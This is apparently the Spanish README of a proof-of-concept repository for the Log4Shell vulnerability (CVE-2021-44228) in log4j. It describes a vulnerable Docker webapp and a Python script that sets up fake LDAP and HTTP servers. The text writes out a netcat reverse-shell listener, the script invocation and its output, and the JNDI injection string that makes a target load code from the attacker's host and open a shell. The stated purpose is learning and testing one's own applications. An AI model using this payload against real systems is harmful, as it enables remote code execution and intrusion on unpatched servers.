
Una prueba de concepto (Proof-of-Concept) para la vulnerabilidad CVE-2021-44228 recientemente descubierta.
Recientemente se encontró una nueva vulnerabilidad en log4j, una librería de logging de Java que es muy utilizada en sistemas como elasticsearch, minecraft y muchos otros.
En este repositorio hay una aplicación vulnerable de ejemplo y un exploit de prueba de concepto (POC) para la misma.
Como PoC, hay un archivo de Python que automatiza el proceso.
pip install -r requirements.txt
nc -lvnp <netcat-port=example=2034>
jdk1.8.0_20, y estar en el mismo directorio.$ python3 poc.py --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}
Listening on 0.0.0.0:1389
Este script configurará el servidor HTTP y el servidor LDAP por ti, y también creará el payload que puedes usar para pegarlo en el parámetro vulnerable. Después de esto, si todo ha ido bien, deberías obtener una shell en el lport.
Hay un Dockerfile con la webapp vulnerable. Puedes usarlo siguiendo los pasos de abajo:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
Una vez que esté en ejecución, puedes acceder a ella en localhost:8080
Nota: Necesitas crear una cuenta para poder descargar el paquete.
Una vez que hayas descargado y extraído el archivo, puedes encontrar java y algunos binarios relacionados en jdk1.8.0_20/bin.
Nota: Asegúrate de extraer la carpeta del jdk en este repositorio con el mismo nombre para que funcione.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositorio no pretende ser un exploit de un solo clic para CVE-2021-44228. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones (aunque existen mejores aplicaciones para este propósito, ej: https://log4shell.tools/).